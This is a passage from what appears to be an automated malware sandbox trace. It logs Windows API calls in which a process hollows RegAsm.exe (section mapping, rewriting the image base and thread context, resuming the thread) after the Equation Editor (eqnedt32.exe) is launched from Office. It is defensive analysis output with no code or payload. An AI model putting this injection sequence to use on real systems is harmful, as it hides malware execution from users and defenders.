lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x4e8eb68 | out: lpCommandLine=0x0, lpProcessInformation=0x4e8eb68*(hProcess=0x2a8, hThread=0x2a4, dwProcessId=0x558, dwThreadId=0x7e8)) returned 1 [0072.312] NtQueryInformationProcess (in: ProcessHandle=0x2a8, ProcessInformationClass=0x0, ProcessInformation=0x4e8eb34, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x4e8eb34, ReturnLength=0x0) returned 0x0 [0072.312] NtReadVirtualMemory (in: ProcessHandle=0x2a8, BaseAddress=0x7efde008, Buffer=0x4e8eb88, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x0 | out: Buffer=0x4e8eb88*, NumberOfBytesRead=0x0) returned 0x0 [0072.312] NtCreateSection (in: SectionHandle=0x4e8eb60, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x4e8eb50, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x4e8eb60*=0x2b0) returned 0x0 [0072.312] NtMapViewOfSection (in: SectionHandle=0x2b0, ProcessHandle=0xffffffff, BaseAddress=0x4e8eb7c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8eb58*=0x58000, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x4e8eb7c*=0x430000, SectionOffset=0x0, ViewSize=0x4e8eb58*=0x58000) returned 0x0 [0072.314] NtMapViewOfSection (in: SectionHandle=0x2b0, ProcessHandle=0x2a8, BaseAddress=0x4e8eb78*=0x400000, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4e8eb5c*=0x58000, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x4e8eb78*=0x400000, SectionOffset=0x0, ViewSize=0x4e8eb5c*=0x58000) returned 0x0 [0072.318] NtWriteVirtualMemory (in: ProcessHandle=0x2a8, BaseAddress=0x7efde008, Buffer=0x4e8eb78*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x4e8eb4c | out: Buffer=0x4e8eb78*, NumberOfBytesWritten=0x4e8eb4c*=0x4) returned 0x0 [0072.318] NtGetContextThread (in: ThreadHandle=0x2a4, Context=0x4e8e710 | out: Context=0x4e8e710*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x23b7de, Ebp=0x0, Eip=0x773501c4, SegCs=0x23, EFlags=0x202, Esp=0x36f810, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0072.319] NtSetContextThread (ThreadHandle=0x2a4, Context=0x4e8e710*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x45384e, Ebp=0x0, Eip=0x773501c4, SegCs=0x23, EFlags=0x202, Esp=0x36f810, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0072.319] NtResumeThread (in: ThreadHandle=0x2a4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0072.320] CoUninitialize () Thread: id = 72 os_tid = 0x928 Process: id = "5" image_name = "eqnedt32.exe" filename = "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe" page_root = "0x471b0000" os_pid = "0x8bc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x994" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE\" -Embedding" cur_dir = "C:\\Program Files\\Microsoft Office\\Root\\Office16\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 62 os_tid = 0x52c Thread: id = 63 os_tid = 0x41c Thread: id = 64 os_tid = 0x31c Thread: id = 65 os_tid = 0x918 Thread: id = 66 os_tid = 0x914 Process: id = "6" image_name = "regasm.exe" filename = "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\regasm.exe" page_root = "0x79fe7000" os_pid = "0x558" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x8e0" cmd_line = "\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 74 os_tid = 0x7e8 [0073.245] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0073.366] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", nBufferLength=0x105, lpBuffer=0x36e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpFilePart=0x0) returned 0x38 [0073.366] GetLastError () returned 0x2 [0073.371] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", nBufferLength=0x105, lpBuffer=0x36e4fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegAsm.exe", lpFilePart=0x0) returned 0x38 [0073.371] GetLastError () returned 0x2 [0073.376] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x36e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0073.376] GetLastError () returned 0x2 [0073.382] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x36e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0073.382] GetLastError () returned 0x2 [0073.382] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x36e4fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0073.382] GetLastError () returned 0x2 [0073.390] GetVersionExW (in: lpVersionInformation=0x82f458*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x82f458*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0073.390] GetLastError () returned 0x2 [0073.391] GetVersionExW (in: lpVersionInformation=0x82f458*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x82f458*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0073.391] GetLastError () returned 0x2 [0074.186] lstrlenW (lpString="䅁") returned 1 [0074.188] GetVersionExW (in: lpVersionInformation=0x864f28*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x864f28*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0074.188] GetLastError () returned 0x2 [0074.355] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x36ddc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0074.355] GetLastError () returned 0x2 [0074.357] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x36de08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0074.357] GetLastError () returned 0x2 [0074.357] SetErrorMode (uMode=0x1) returned 0x0 [0074.358] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x36e288 | out: 